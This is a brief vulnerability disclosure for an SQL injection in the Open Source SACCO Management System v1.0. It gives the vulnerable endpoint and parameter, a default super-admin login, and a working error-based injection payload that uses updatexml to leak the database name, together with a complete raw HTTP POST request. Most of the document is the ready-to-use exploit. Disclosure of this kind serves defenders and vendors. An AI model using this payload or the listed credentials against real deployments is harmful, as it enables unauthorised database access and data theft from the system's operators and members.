Open Source SACCO Management System v1.0 by mayuri_k has SQL injection

BUG_Author: Via

Login account: mayuri.infospace@gmail.com/admin (Super Admin account)

vendors: https://www.sourcecodester.com/php/15372/open-source-sacco-management-system-free-download.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /sacco_shield/ajax.php?action=delete_payment

Vulnerability location: /sacco_shield/ajax.php?action=delete_payment, id

dbname = sacco,length=5

[+] Payload: id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /sacco_shield/ajax.php?action=delete_payment HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```